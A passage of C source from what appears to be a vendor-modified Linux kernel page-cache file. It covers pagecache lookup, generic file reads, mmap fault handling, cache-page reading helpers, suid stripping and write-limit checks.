/**
* find_lock_page - locate, pin and lock a pagecache page
* @mapping: the address_space to search
* @offset: the page index
*
* Locates the desired pagecache page, locks it, increments its reference
* count and returns its address.
*
* Returns zero if the page was not present. find_lock_page() may sleep.
*/
struct page *find_lock_page(struct address_space *mapping, pgoff_t offset)
{
struct page *page;
repeat:
page = find_get_page(mapping, offset);
if (page && !radix_tree_exception(page)) {
lock_page(page);
/* Has the page been truncated? */
if (unlikely(page->mapping != mapping)) {
unlock_page(page);
page_cache_release(page);
goto repeat;
}
VM_BUG_ON(page->index != offset);
}
return page;
}
EXPORT_SYMBOL(find_lock_page);
/**
* find_or_create_page - locate or add a pagecache page
* @mapping: the page's address_space
* @index: the page's index into the mapping
* @gfp_mask: page allocation mode
*
* Locates a page in the pagecache. If the page is not present, a new page
* is allocated using @gfp_mask and is added to the pagecache and to the VM's
* LRU list. The returned page is locked and has its reference count
* incremented.
*
* find_or_create_page() may sleep, even if @gfp_flags specifies an atomic
* allocation!
*
* find_or_create_page() returns the desired page's address, or zero on
* memory exhaustion.
*/
struct page *find_or_create_page(struct address_space *mapping,
pgoff_t index, gfp_t gfp_mask)
{
struct page *page;
int err;
repeat:
page = find_lock_page(mapping, index);
if (!page) {
page = __page_cache_alloc(gfp_mask);
if (!page)
return NULL;
/*
* We want a regular kernel memory (not highmem or DMA etc)
* allocation for the radix tree nodes, but we need to honour
* the context-specific requirements the caller has asked for.
* GFP_RECLAIM_MASK collects those requirements.
*/
err = add_to_page_cache_lru(page, mapping, index,
(gfp_mask & GFP_RECLAIM_MASK));
if (unlikely(err)) {
page_cache_release(page);
page = NULL;
if (err == -EEXIST)
goto repeat;
}
}
return page;
}
EXPORT_SYMBOL(find_or_create_page);
/**
* find_get_pages - gang pagecache lookup
* @mapping: The address_space to search
* @start: The starting page index
* @nr_pages: The maximum number of pages
* @pages: Where the resulting pages are placed
*
* find_get_pages() will search for and return a group of up to
* @nr_pages pages in the mapping. The pages are placed at @pages.
* find_get_pages() takes a reference against the returned pages.
*
* The search returns a group of mapping-contiguous pages with ascending
* indexes. There may be holes in the indices due to not-present pages.
*
* find_get_pages() returns the number of pages which were found.
*/
unsigned find_get_pages(struct address_space *mapping, pgoff_t start,
unsigned int nr_pages, struct page **pages)
{
struct radix_tree_iter iter;
void **slot;
unsigned ret = 0;
if (unlikely(!nr_pages))
return 0;
rcu_read_lock();
restart:
radix_tree_for_each_slot(slot, &mapping->page_tree, &iter, start) {
struct page *page;
repeat:
page = radix_tree_deref_slot(slot);
if (unlikely(!page))
continue;
if (radix_tree_exception(page)) {
if (radix_tree_deref_retry(page)) {
/*
* Transient condition which can only trigger
* when entry at index 0 moves out of or back
* to root: none yet gotten, safe to restart.
*/
WARN_ON(iter.index);
goto restart;
}
/*
* Otherwise, shmem/tmpfs must be storing a swap entry
* here as an exceptional entry: so skip over it -
* we only reach this from invalidate_mapping_pages().
*/
continue;
}
if (!page_cache_get_speculative(page))
goto repeat;
/* Has the page moved? */
if (unlikely(page != *slot)) {
page_cache_release(page);
goto repeat;
}
pages[ret] = page;
if (++ret == nr_pages)
break;
}
rcu_read_unlock();
return ret;
}
/**
* find_get_pages_contig - gang contiguous pagecache lookup
* @mapping: The address_space to search
* @index: The starting page index
* @nr_pages: The maximum number of pages
* @pages: Where the resulting pages are placed
*
* find_get_pages_contig() works exactly like find_get_pages(), except
* that the returned number of pages are guaranteed to be contiguous.
*
* find_get_pages_contig() returns the number of pages which were found.
*/
unsigned find_get_pages_contig(struct address_space *mapping, pgoff_t index,
unsigned int nr_pages, struct page **pages)
{
struct radix_tree_iter iter;
void **slot;
unsigned int ret = 0;
if (unlikely(!nr_pages))
return 0;
rcu_read_lock();
restart:
radix_tree_for_each_contig(slot, &mapping->page_tree, &iter, index) {
struct page *page;
repeat:
page = radix_tree_deref_slot(slot);
/* The hole, there no reason to continue */
if (unlikely(!page))
break;
if (radix_tree_exception(page)) {
if (radix_tree_deref_retry(page)) {
/*
* Transient condition which can only trigger
* when entry at index 0 moves out of or back
* to root: none yet gotten, safe to restart.
*/
goto restart;
}
/*
* Otherwise, shmem/tmpfs must be storing a swap entry
* here as an exceptional entry: so stop looking for
* contiguous pages.
*/
break;
}
if (!page_cache_get_speculative(page))
goto repeat;
/* Has the page moved? */
if (unlikely(page != *slot)) {
page_cache_release(page);
goto repeat;
}
/*
* must check mapping and index after taking the ref.
* otherwise we can get both false positives and false
* negatives, which is just confusing to the caller.
*/
if (page->mapping == NULL || page->index != iter.index) {
page_cache_release(page);
break;
}
pages[ret] = page;
if (++ret == nr_pages)
break;
}
rcu_read_unlock();
return ret;
}
EXPORT_SYMBOL(find_get_pages_contig);
/**
* find_get_pages_tag - find and return pages that match @tag
* @mapping: the address_space to search
* @index: the starting page index
* @tag: the tag index
* @nr_pages: the maximum number of pages
* @pages: where the resulting pages are placed
*
* Like find_get_pages, except we only return pages which are tagged with
* @tag. We update @index to index the next page for the traversal.
*/
unsigned find_get_pages_tag(struct address_space *mapping, pgoff_t *index,
int tag, unsigned int nr_pages, struct page **pages)
{
struct radix_tree_iter iter;
void **slot;
unsigned ret = 0;
if (unlikely(!nr_pages))
return 0;
rcu_read_lock();
restart:
radix_tree_for_each_tagged(slot, &mapping->page_tree,
&iter, *index, tag) {
struct page *page;
repeat:
page = radix_tree_deref_slot(slot);
if (unlikely(!page))
continue;
if (radix_tree_exception(page)) {
if (radix_tree_deref_retry(page)) {
/*
* Transient condition which can only trigger
* when entry at index 0 moves out of or back
* to root: none yet gotten, safe to restart.
*/
goto restart;
}
/*
* This function is never used on a shmem/tmpfs
* mapping, so a swap entry won't be found here.
*/
BUG();
}
if (!page_cache_get_speculative(page))
goto repeat;
/* Has the page moved? */
if (unlikely(page != *slot)) {
page_cache_release(page);
goto repeat;
}
pages[ret] = page;
if (++ret == nr_pages)
break;
}
rcu_read_unlock();
if (ret)
*index = pages[ret - 1]->index + 1;
return ret;
}
EXPORT_SYMBOL(find_get_pages_tag);
/**
* grab_cache_page_nowait - returns locked page at given index in given cache
* @mapping: target address_space
* @index: the page index
*
* Same as grab_cache_page(), but do not wait if the page is unavailable.
* This is intended for speculative data generators, where the data can
* be regenerated if the page couldn't be grabbed. This routine should
* be safe to call while holding the lock for another page.
*
* Clear __GFP_FS when allocating the page to avoid recursion into the fs
* and deadlock against the caller's locked page.
*/
struct page *
grab_cache_page_nowait(struct address_space *mapping, pgoff_t index)
{
struct page *page = find_get_page(mapping, index);
if (page) {
if (trylock_page(page))
return page;
page_cache_release(page);
return NULL;
}
page = __page_cache_alloc(mapping_gfp_mask(mapping) & ~__GFP_FS);
if (page && add_to_page_cache_lru(page, mapping, index, GFP_NOFS)) {
page_cache_release(page);
page = NULL;
}
return page;
}
EXPORT_SYMBOL(grab_cache_page_nowait);
/*
* CD/DVDs are error prone. When a medium error occurs, the driver may fail
* a _large_ part of the i/o request. Imagine the worst scenario:
*
* ---R__________________________________________B__________
* ^ reading here ^ bad block(assume 4k)
*
* read(R) => miss => readahead(R...B) => media error => frustrating retries
* => failing the whole request => read(R) => read(R+1) =>
* readahead(R+1...B+1) => bang => read(R+2) => read(R+3) =>
* readahead(R+3...B+2) => bang => read(R+3) => read(R+4) =>
* readahead(R+4...B+3) => bang => read(R+4) => read(R+5) => ......
*
* It is going insane. Fix it by quickly scaling down the readahead size.
*/
static void shrink_readahead_size_eio(struct file *filp,
struct file_ra_state *ra)
{
ra->ra_pages /= 4;
}
/**
* do_generic_file_read - generic file read routine
* @filp: the file to read
* @ppos: current file position
* @desc: read_descriptor
* @actor: read method
*
* This is a generic file read routine, and uses the
* mapping->a_ops->readpage() function for the actual low-level stuff.
*
* This is really ugly. But the goto's actually try to clarify some
* of the logic when it comes to error handling etc.
*/
static void do_generic_file_read(struct file *filp, loff_t *ppos,
read_descriptor_t *desc, read_actor_t actor)
{
struct address_space *mapping = filp->f_mapping;
struct inode *inode = mapping->host;
struct file_ra_state *ra = &filp->f_ra;
pgoff_t index;
pgoff_t last_index;
pgoff_t prev_index;
unsigned long offset; /* offset into pagecache page */
unsigned int prev_offset;
int error;
index = *ppos >> PAGE_CACHE_SHIFT;
prev_index = ra->prev_pos >> PAGE_CACHE_SHIFT;
prev_offset = ra->prev_pos & (PAGE_CACHE_SIZE-1);
last_index = (*ppos + desc->count + PAGE_CACHE_SIZE-1) >> PAGE_CACHE_SHIFT;
offset = *ppos & ~PAGE_CACHE_MASK;
for (;;) {
struct page *page;
pgoff_t end_index;
loff_t isize;
unsigned long nr, ret;
cond_resched();
find_page:
page = find_get_page(mapping, index);
if (!page) {
page_cache_sync_readahead(mapping,
ra, filp,
index, last_index - index);
page = find_get_page(mapping, index);
if (unlikely(page == NULL))
goto no_cached_page;
}
if (PageReadahead(page)) {
page_cache_async_readahead(mapping,
ra, filp, page,
index, last_index - index);
}
if (!PageUptodate(page)) {
if (inode->i_blkbits == PAGE_CACHE_SHIFT ||
!mapping->a_ops->is_partially_uptodate)
goto page_not_up_to_date;
if (!trylock_page(page))
goto page_not_up_to_date;
/* Did it get truncated before we got the lock? */
if (!page->mapping)
goto page_not_up_to_date_locked;
if (!mapping->a_ops->is_partially_uptodate(page,
desc, offset))
goto page_not_up_to_date_locked;
unlock_page(page);
}
page_ok:
/*
* i_size must be checked after we know the page is Uptodate.
*
* Checking i_size after the check allows us to calculate
* the correct value for "nr", which means the zero-filled
* part of the page is not copied back to userspace (unless
* another truncate extends the file - this is desired though).
*/
isize = i_size_read(inode);
end_index = (isize - 1) >> PAGE_CACHE_SHIFT;
if (unlikely(!isize || index > end_index)) {
page_cache_release(page);
goto out;
}
/* nr is the maximum number of bytes to copy from this page */
nr = PAGE_CACHE_SIZE;
if (index == end_index) {
nr = ((isize - 1) & ~PAGE_CACHE_MASK) + 1;
if (nr <= offset) {
page_cache_release(page);
goto out;
}
}
nr = nr - offset;
/* If users can be writing to this page using arbitrary
* virtual addresses, take care about potential aliasing
* before reading the page on the kernel side.
*/
if (mapping_writably_mapped(mapping))
flush_dcache_page(page);
/*
* When a sequential read accesses a page several times,
* only mark it as accessed the first time.
*/
if (prev_index != index || offset != prev_offset)
mark_page_accessed(page);
prev_index = index;
/*
* Ok, we have the page, and it's up-to-date, so
* now we can copy it to user space...
*
* The actor routine returns how many bytes were actually used..
* NOTE! This may not be the same as how much of a user buffer
* we filled up (we may be padding etc), so we can only update
* "pos" here (the actor routine has to update the user buffer
* pointers and the remaining count).
*/
ret = actor(desc, page, offset, nr);
offset += ret;
index += offset >> PAGE_CACHE_SHIFT;
offset &= ~PAGE_CACHE_MASK;
prev_offset = offset;
page_cache_release(page);
if (ret == nr && desc->count)
continue;
goto out;
page_not_up_to_date:
/* Get exclusive access to the page ... */
error = lock_page_killable(page);
if (unlikely(error))
goto readpage_error;
page_not_up_to_date_locked:
/* Did it get truncated before we got the lock? */
if (!page->mapping) {
unlock_page(page);
page_cache_release(page);
continue;
}
/* Did somebody else fill it already? */
if (PageUptodate(page)) {
unlock_page(page);
goto page_ok;
}
readpage:
/*
* A previous I/O error may have been due to temporary
* failures, eg. multipath errors.
* PG_error will be set again if readpage fails.
*/
ClearPageError(page);
/* Start the actual read. The read will unlock the page. */
error = mapping->a_ops->readpage(filp, page);
if (unlikely(error)) {
if (error == AOP_TRUNCATED_PAGE) {
page_cache_release(page);
goto find_page;
}
goto readpage_error;
}
if (!PageUptodate(page)) {
error = lock_page_killable(page);
if (unlikely(error))
goto readpage_error;
if (!PageUptodate(page)) {
if (page->mapping == NULL) {
/*
* invalidate_mapping_pages got it
*/
unlock_page(page);
page_cache_release(page);
goto find_page;
}
unlock_page(page);
shrink_readahead_size_eio(filp, ra);
error = -EIO;
goto readpage_error;
}
unlock_page(page);
}
goto page_ok;
readpage_error:
/* UHHUH! A synchronous read error occurred. Report it */
desc->error = error;
page_cache_release(page);
goto out;
no_cached_page:
/*
* Ok, it wasn't cached, so we need to create a new
* page..
*/
page = page_cache_alloc_cold(mapping);
if (!page) {
desc->error = -ENOMEM;
goto out;
}
error = add_to_page_cache_lru(page, mapping,
index, GFP_KERNEL);
if (error) {
page_cache_release(page);
if (error == -EEXIST)
goto find_page;
desc->error = error;
goto out;
}
goto readpage;
}
out:
ra->prev_pos = prev_index;
ra->prev_pos <<= PAGE_CACHE_SHIFT;
ra->prev_pos |= prev_offset;
*ppos = ((loff_t)index << PAGE_CACHE_SHIFT) + offset;
file_accessed(filp);
}
/*
* Performs necessary checks before doing a write
* @iov: io vector request
* @nr_segs: number of segments in the iovec
* @count: number of bytes to write
* @access_flags: type of access: %VERIFY_READ or %VERIFY_WRITE
*
* Adjust number of segments and amount of bytes to write (nr_segs should be
* properly initialized first). Returns appropriate error code that caller
* should return or zero in case that write should be allowed.
*/
int generic_segment_checks(const struct iovec *iov,
unsigned long *nr_segs, size_t *count, int access_flags)
{
unsigned long seg;
size_t cnt = 0;
for (seg = 0; seg < *nr_segs; seg++) {
const struct iovec *iv = &iov[seg];
/*
* If any segment has a negative length, or the cumulative
* length ever wraps negative then return -EINVAL.
*/
cnt += iv->iov_len;
if (unlikely((ssize_t)(cnt|iv->iov_len) < 0))
return -EINVAL;
if (access_ok(access_flags, iv->iov_base, iv->iov_len))
continue;
if (seg == 0)
return -EFAULT;
*nr_segs = seg;
cnt -= iv->iov_len; /* This segment is no good */
break;
}
*count = cnt;
return 0;
}
EXPORT_SYMBOL(generic_segment_checks);
int file_read_iter_actor(read_descriptor_t *desc, struct page *page,
unsigned long offset, unsigned long size)
{
struct iov_iter *iter = desc->arg.data;
unsigned long copied = 0;
if (size > desc->count)
size = desc->count;
copied = iov_iter_copy_to_user(page, iter, offset, size);
if (copied < size)
desc->error = -EFAULT;
iov_iter_advance(iter, copied);
desc->count -= copied;
desc->written += copied;
return copied;
}
/**
* generic_file_read_iter - generic filesystem read routine
* @iocb: kernel I/O control block
* @iov_iter: memory vector
* @pos: current file position
*/
ssize_t
generic_file_read_iter(struct kiocb *iocb, struct iov_iter *iter, loff_t pos)
{
struct file *filp = iocb->ki_filp;
read_descriptor_t desc;
ssize_t retval = 0;
size_t count = iov_iter_count(iter);
loff_t *ppos = &iocb->ki_pos;
/* coalesce the iovecs and go direct-to-BIO for O_DIRECT */
if (filp->f_flags & O_DIRECT) {
loff_t size;
struct address_space *mapping;
struct inode *inode;
mapping = filp->f_mapping;
inode = mapping->host;
if (!count)
goto out; /* skip atime */
size = i_size_read(inode);
if (pos < size) {
retval = filemap_write_and_wait_range(mapping, pos,
pos + count - 1);
if (!retval) {
struct blk_plug plug;
blk_start_plug(&plug);
retval = mapping->a_ops->direct_IO(READ, iocb,
iter, pos);
blk_finish_plug(&plug);
}
if (retval > 0) {
*ppos = pos + retval;
count -= retval;
}
/*
* Btrfs can have a short DIO read if we encounter
* compressed extents, so if there was an error, or if
* we've already read everything we wanted to, or if
* there was a short read because we hit EOF, go ahead
* and return. Otherwise fallthrough to buffered io for
* the rest of the read.
*/
if (retval < 0 || !count || *ppos >= size) {
file_accessed(filp);
goto out;
}
}
}
desc.written = 0;
desc.arg.data = iter;
desc.count = count;
desc.error = 0;
do_generic_file_read(filp, ppos, &desc, file_read_iter_actor);
if (desc.written)
retval = desc.written;
else
retval = desc.error;
out:
return retval;
}
EXPORT_SYMBOL(generic_file_read_iter);
/**
* generic_file_aio_read - generic filesystem read routine
* @iocb: kernel I/O control block
* @iov: io vector request
* @nr_segs: number of segments in the iovec
* @pos: current file position
*
* This is the "read()" routine for all filesystems
* that can use the page cache directly.
*/
ssize_t
generic_file_aio_read(struct kiocb *iocb, const struct iovec *iov,
unsigned long nr_segs, loff_t pos)
{
struct iov_iter iter;
int ret;
size_t count;
count = 0;
ret = generic_segment_checks(iov, &nr_segs, &count, VERIFY_WRITE);
if (ret)
return ret;
iov_iter_init(&iter, iov, nr_segs, count, 0);
return generic_file_read_iter(iocb, &iter, pos);
}
EXPORT_SYMBOL(generic_file_aio_read);
#ifdef CONFIG_MMU
/**
* page_cache_read - adds requested page to the page cache if not already there
* @file: file to read
* @offset: page index
*
* This adds the requested page to the page cache if it isn't already there,
* and schedules an I/O to read in its contents from disk.
*/
static int page_cache_read(struct file *file, pgoff_t offset)
{
struct address_space *mapping = file->f_mapping;
struct page *page;
int ret;
do {
page = page_cache_alloc_cold(mapping);
if (!page)
return -ENOMEM;
ret = add_to_page_cache_lru(page, mapping, offset, GFP_KERNEL);
if (ret == 0)
ret = mapping->a_ops->readpage(file, page);
else if (ret == -EEXIST)
ret = 0; /* losing race to add is OK */
page_cache_release(page);
} while (ret == AOP_TRUNCATED_PAGE);
return ret;
}
#define MMAP_LOTSAMISS (100)
/*
* Synchronous readahead happens when we don't even find
* a page in the page cache at all.
*/
static void do_sync_mmap_readahead(struct vm_area_struct *vma,
struct file_ra_state *ra,
struct file *file,
pgoff_t offset)
{
unsigned long ra_pages;
struct address_space *mapping = file->f_mapping;
/* If we don't want any read-ahead, don't bother */
if (VM_RandomReadHint(vma))
return;
if (!ra->ra_pages)
return;
if (VM_SequentialReadHint(vma)) {
page_cache_sync_readahead(mapping, ra, file, offset,
ra->ra_pages);
return;
}
/* Avoid banging the cache line if not needed */
if (ra->mmap_miss < MMAP_LOTSAMISS * 10)
ra->mmap_miss++;
/*
* Do we miss much more than hit in this file? If so,
* stop bothering with read-ahead. It will only hurt.
*/
if (ra->mmap_miss > MMAP_LOTSAMISS)
return;
/*
* mmap read-around
*/
ra_pages = max_sane_readahead(ra->ra_pages);
ra->start = max_t(long, 0, offset - ra_pages / 2);
ra->size = ra_pages;
ra->async_size = ra_pages / 4;
ra_submit(ra, mapping, file);
}
/*
* Asynchronous readahead happens when we find the page and PG_readahead,
* so we want to possibly extend the readahead further..
*/
static void do_async_mmap_readahead(struct vm_area_struct *vma,
struct file_ra_state *ra,
struct file *file,
struct page *page,
pgoff_t offset)
{
struct address_space *mapping = file->f_mapping;
/* If we don't want any read-ahead, don't bother */
if (VM_RandomReadHint(vma))
return;
if (ra->mmap_miss > 0)
ra->mmap_miss--;
if (PageReadahead(page))
page_cache_async_readahead(mapping, ra, file,
page, offset, ra->ra_pages);
}
/**
* filemap_fault - read in file data for page fault handling
* @vma: vma in which the fault was taken
* @vmf: struct vm_fault containing details of the fault
*
* filemap_fault() is invoked via the vma operations vector for a
* mapped memory region to read in file data during a page fault.
*
* The goto's are kind of ugly, but this streamlines the normal case of having
* it in the page cache, and handles the special cases reasonably without
* having a lot of duplicated code.
*/
int filemap_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
int error;
struct file *file = vma->vm_file;
struct address_space *mapping = file->f_mapping;
struct file_ra_state *ra = &file->f_ra;
struct inode *inode = mapping->host;
pgoff_t offset = vmf->pgoff;
struct page *page;
pgoff_t size;
int ret = 0;
size = (i_size_read(inode) + PAGE_CACHE_SIZE - 1) >> PAGE_CACHE_SHIFT;
if (offset >= size)
return VM_FAULT_SIGBUS;
/*
* Do we have something in the page cache already?
*/
page = find_get_page(mapping, offset);
if (likely(page)) {
/*
* We found the page, so try async readahead before
* waiting for the lock.
*/
do_async_mmap_readahead(vma, ra, file, page, offset);
} else {
/* No page in the page cache at all */
do_sync_mmap_readahead(vma, ra, file, offset);
count_vm_event(PGMAJFAULT);
/*
*/
sreadahead_prof(file, 0, 0);
/* */
mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT);
ret = VM_FAULT_MAJOR;
retry_find:
page = find_get_page(mapping, offset);
if (!page)
goto no_cached_page;
}
if (!lock_page_or_retry(page, vma->vm_mm, vmf->flags)) {
page_cache_release(page);
return ret | VM_FAULT_RETRY;
}
/* Did it get truncated? */
if (unlikely(page->mapping != mapping)) {
unlock_page(page);
put_page(page);
goto retry_find;
}
VM_BUG_ON(page->index != offset);
/*
* We have a locked page in the page cache, now we need to check
* that it's up-to-date. If not, it is going to be due to an error.
*/
if (unlikely(!PageUptodate(page)))
goto page_not_uptodate;
/*
* Found the page and have a reference on it.
* We must recheck i_size under page lock.
*/
size = (i_size_read(inode) + PAGE_CACHE_SIZE - 1) >> PAGE_CACHE_SHIFT;
if (unlikely(offset >= size)) {
unlock_page(page);
page_cache_release(page);
return VM_FAULT_SIGBUS;
}
vmf->page = page;
return ret | VM_FAULT_LOCKED;
no_cached_page:
/*
* We're only likely to ever get here if MADV_RANDOM is in
* effect.
*/
error = page_cache_read(file, offset);
/*
* The page we want has now been added to the page cache.
* In the unlikely event that someone removed it in the
* meantime, we'll just come back here and read it again.
*/
if (error >= 0)
goto retry_find;
/*
* An error return from page_cache_read can result if the
* system is low on memory, or a problem occurs while trying
* to schedule I/O.
*/
if (error == -ENOMEM)
return VM_FAULT_OOM;
return VM_FAULT_SIGBUS;
page_not_uptodate:
/*
* Umm, take care of errors if the page isn't up-to-date.
* Try to re-read it _once_. We do this synchronously,
* because there really aren't any performance issues here
* and we need to check for errors.
*/
ClearPageError(page);
error = mapping->a_ops->readpage(file, page);
if (!error) {
wait_on_page_locked(page);
if (!PageUptodate(page))
error = -EIO;
}
page_cache_release(page);
if (!error || error == AOP_TRUNCATED_PAGE)
goto retry_find;
/* Things didn't work out. Return zero to tell the mm layer so. */
shrink_readahead_size_eio(file, ra);
return VM_FAULT_SIGBUS;
}
EXPORT_SYMBOL(filemap_fault);
int filemap_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = vmf->page;
struct inode *inode = vma->vm_file->f_path.dentry->d_inode;
int ret = VM_FAULT_LOCKED;
sb_start_pagefault(inode->i_sb);
file_update_time(vma->vm_file);
lock_page(page);
if (page->mapping != inode->i_mapping) {
unlock_page(page);
ret = VM_FAULT_NOPAGE;
goto out;
}
/*
* We mark the page dirty already here so that when freeze is in
* progress, we are guaranteed that writeback during freezing will
* see the dirty page and writeprotect it again.
*/
set_page_dirty(page);
out:
sb_end_pagefault(inode->i_sb);
return ret;
}
EXPORT_SYMBOL(filemap_page_mkwrite);
const struct vm_operations_struct generic_file_vm_ops = {
.fault = filemap_fault,
.page_mkwrite = filemap_page_mkwrite,
};
/* This is used for a general mmap of a disk file */
int generic_file_mmap(struct file * file, struct vm_area_struct * vma)
{
struct address_space *mapping = file->f_mapping;
if (!mapping->a_ops->readpage)
return -ENOEXEC;
file_accessed(file);
vma->vm_ops = &generic_file_vm_ops;
vma->vm_flags |= VM_CAN_NONLINEAR;
return 0;
}
/*
* This is for filesystems which do not implement ->writepage.
*/
int generic_file_readonly_mmap(struct file *file, struct vm_area_struct *vma)
{
if ((vma->vm_flags & VM_SHARED) && (vma->vm_flags & VM_MAYWRITE))
return -EINVAL;
return generic_file_mmap(file, vma);
}
#else
int generic_file_mmap(struct file * file, struct vm_area_struct * vma)
{
return -ENOSYS;
}
int generic_file_readonly_mmap(struct file * file, struct vm_area_struct * vma)
{
return -ENOSYS;
}
#endif /* CONFIG_MMU */
EXPORT_SYMBOL(generic_file_mmap);
EXPORT_SYMBOL(generic_file_readonly_mmap);
static struct page *__read_cache_page(struct address_space *mapping,
pgoff_t index,
int (*filler)(void *, struct page *),
void *data,
gfp_t gfp)
{
struct page *page;
int err;
repeat:
page = find_get_page(mapping, index);
if (!page) {
page = __page_cache_alloc(gfp | __GFP_COLD);
if (!page)
return ERR_PTR(-ENOMEM);
err = add_to_page_cache_lru(page, mapping, index, gfp);
if (unlikely(err)) {
page_cache_release(page);
if (err == -EEXIST)
goto repeat;
/* Presumably ENOMEM for radix tree node */
return ERR_PTR(err);
}
err = filler(data, page);
if (err < 0) {
page_cache_release(page);
page = ERR_PTR(err);
}
}
return page;
}
static struct page *do_read_cache_page(struct address_space *mapping,
pgoff_t index,
int (*filler)(void *, struct page *),
void *data,
gfp_t gfp)
{
struct page *page;
int err;
retry:
page = __read_cache_page(mapping, index, filler, data, gfp);
if (IS_ERR(page))
return page;
if (PageUptodate(page))
goto out;
lock_page(page);
if (!page->mapping) {
unlock_page(page);
page_cache_release(page);
goto retry;
}
if (PageUptodate(page)) {
unlock_page(page);
goto out;
}
err = filler(data, page);
if (err < 0) {
page_cache_release(page);
return ERR_PTR(err);
}
out:
mark_page_accessed(page);
return page;
}
/**
* read_cache_page_async - read into page cache, fill it if needed
* @mapping: the page's address_space
* @index: the page index
* @filler: function to perform the read
* @data: first arg to filler(data, page) function, often left as NULL
*
* Same as read_cache_page, but don't wait for page to become unlocked
* after submitting it to the filler.
*
* Read into the page cache. If a page already exists, and PageUptodate() is
* not set, try to fill the page but don't wait for it to become unlocked.
*
* If the page does not get brought uptodate, return -EIO.
*/
struct page *read_cache_page_async(struct address_space *mapping,
pgoff_t index,
int (*filler)(void *, struct page *),
void *data)
{
return do_read_cache_page(mapping, index, filler, data, mapping_gfp_mask(mapping));
}
EXPORT_SYMBOL(read_cache_page_async);
static struct page *wait_on_page_read(struct page *page)
{
if (!IS_ERR(page)) {
wait_on_page_locked(page);
if (!PageUptodate(page)) {
page_cache_release(page);
page = ERR_PTR(-EIO);
}
}
return page;
}
/**
* read_cache_page_gfp - read into page cache, using specified page allocation flags.
* @mapping: the page's address_space
* @index: the page index
* @gfp: the page allocator flags to use if allocating
*
* This is the same as "read_mapping_page(mapping, index, NULL)", but with
* any new page allocations done using the specified allocation flags.
*
* If the page does not get brought uptodate, return -EIO.
*/
struct page *read_cache_page_gfp(struct address_space *mapping,
pgoff_t index,
gfp_t gfp)
{
filler_t *filler = (filler_t *)mapping->a_ops->readpage;
return wait_on_page_read(do_read_cache_page(mapping, index, filler, NULL, gfp));
}
EXPORT_SYMBOL(read_cache_page_gfp);
/**
* read_cache_page - read into page cache, fill it if needed
* @mapping: the page's address_space
* @index: the page index
* @filler: function to perform the read
* @data: first arg to filler(data, page) function, often left as NULL
*
* Read into the page cache. If a page already exists, and PageUptodate() is
* not set, try to fill the page then wait for it to become unlocked.
*
* If the page does not get brought uptodate, return -EIO.
*/
struct page *read_cache_page(struct address_space *mapping,
pgoff_t index,
int (*filler)(void *, struct page *),
void *data)
{
return wait_on_page_read(read_cache_page_async(mapping, index, filler, data));
}
EXPORT_SYMBOL(read_cache_page);
/*
* The logic we want is
*
* if suid or (sgid and xgrp)
* remove privs
*/
int should_remove_suid(struct dentry *dentry)
{
umode_t mode = dentry->d_inode->i_mode;
int kill = 0;
/* suid always must be killed */
if (unlikely(mode & S_ISUID))
kill = ATTR_KILL_SUID;
/*
* sgid without any exec bits is just a mandatory locking mark; leave
* it alone. If some exec bits are set, it's a real sgid; kill it.
*/
if (unlikely((mode & S_ISGID) && (mode & S_IXGRP)))
kill |= ATTR_KILL_SGID;
if (unlikely(kill && !capable(CAP_FSETID) && S_ISREG(mode)))
return kill;
return 0;
}
EXPORT_SYMBOL(should_remove_suid);
static int __remove_suid(struct dentry *dentry, int kill)
{
struct iattr newattrs;
newattrs.ia_valid = ATTR_FORCE | kill;
return notify_change(dentry, &newattrs);
}
int file_remove_suid(struct file *file)
{
struct dentry *dentry = file->f_path.dentry;
struct inode *inode = dentry->d_inode;
int killsuid;
int killpriv;
int error = 0;
/* Fast path for nothing security related */
if (IS_NOSEC(inode))
return 0;
killsuid = should_remove_suid(dentry);
killpriv = security_inode_need_killpriv(dentry);
if (killpriv < 0)
return killpriv;
if (killpriv)
error = security_inode_killpriv(dentry);
if (!error && killsuid)
error = __remove_suid(dentry, killsuid);
if (!error && (inode->i_sb->s_flags & MS_NOSEC))
inode->i_flags |= S_NOSEC;
return error;
}
EXPORT_SYMBOL(file_remove_suid);
/*
* Performs necessary checks before doing a write
*
* Can adjust writing position or amount of bytes to write.
* Returns appropriate error code that caller should return or
* zero in case that write should be allowed.
*/
inline int generic_write_checks(struct file *file, loff_t *pos, size_t *count, int isblk)
{
struct inode *inode = file->f_mapping->host;
unsigned long limit = rlimit(RLIMIT_FSIZE);
if (unlikely(*pos < 0))
return -EINVAL;
if (!isblk) {
/* FIXME: this is for backwards compatibility with 2.4 */
if (file->f_flags & O_APPEND)
*pos = i_size_read(inode);
if (limit != RLIM_INFINITY) {
if (*pos >= limit) {
send_sig(SIGXFSZ, current, 0);
return -EFBIG;
}
if (*count > limit - (typeof(limit))*pos) {
*count = limit - (typeof(limit))*pos;
}
}
}
/*
* LFS rule
*/
if (unlikely(*pos + *count > MAX_NON_LFS &&
!(file->f_flags & O_LARGEFILE))) {
if (*pos >= MAX_NON_LFS) {
return -EFBIG;
}
if (*count > MAX_NON_LFS - (unsigned long)*pos) {
*count = MAX_NON_LFS - (unsigned long)*pos;
}
}
/*
* Are we about to exceed the fs block limit ?
*
* If we have written data it becomes a short write. If we have
* exceeded without writing data we send a signal and return EFBIG.
* Linus frestrict idea will clean these up nicely..
*/
if (likely(!isblk)) {
if (unlikely(*pos >= inode->i_sb->s_maxbytes)) {
if (*count || *pos > inode->i_sb->s_maxbytes) {
return -EFBIG;
}
/* zero-length writes at ->s_maxbytes are OK */
}
if (unlikely(*pos + *count > inode->i_sb->s_maxbytes))
*count = inode->i_sb->s_maxbytes - *pos;
} else {
#ifdef CONFIG_BLOCK
loff_t isize;
if (bdev_read_only(I_BDEV(inode)))
return -EPERM;
isize = i_size_read(inode);
if (*pos >= isize) {
if (*count || *pos > isize)
return -ENOSPC;
}
if (*pos + *count > isize)
*count = isize - *pos;
#else
return -EPERM;
#endif
}
return 0;
}
EXPORT_SYMBOL(generic_write_checks);
int pagecache_write_begin(struct file *file, struct address_space *mapping,
loff_t pos, unsigned len, unsigned flags,
struct page **pagep, void **fsdata)
{
const struct address_space_operations *aops = mapping->a_ops;
return aops->write_begin(file, mapping, pos, len, flags,
pagep, fsdata);
}
EXPORT_SYMBOL(pagecache_write_begin);
int pagecache_write_end(struct file *file, struct address_space *mapping,
loff_t pos, unsigned len, unsigned copied,
struct page *page, void *fsdata)
{
const struct address_space_operations *aops = mapping->a_ops;
mark_page_accessed(page);
